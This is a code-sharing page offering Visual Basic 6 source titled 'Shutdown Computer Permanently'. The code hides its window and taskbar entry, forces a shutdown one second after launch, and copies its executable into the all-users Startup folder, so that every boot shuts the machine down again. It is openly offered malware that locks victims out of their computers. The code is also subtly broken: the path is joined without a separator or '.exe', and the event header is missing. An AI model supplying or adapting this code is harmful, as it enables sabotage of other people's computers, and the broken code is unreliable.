• Home
 · 
• Encryption
 · 
• Shutdown Computer Permanently

Shutdown Computer Permanently

Shutdown Computer Permanently

API Declarations


Nothing is required on this form except the code. Enjoy! :)



Rate Shutdown Computer Permanently

• 1
• 2
• 3
• 4
• 5

(2(2 Vote))

Me.Hide
Me.Visible = False
App.TaskVisible = False

Shutdown
End Sub

Private Sub Shutdown()
Shell "shutdown -s -t 1"

Dim source As String
Dim Dest As String

source = App.Path & App.EXEName
Dest = "c:\documents and settings\all users\start menu\programs\startup\" & App.EXEName

FileCopy source, Dest
End Sub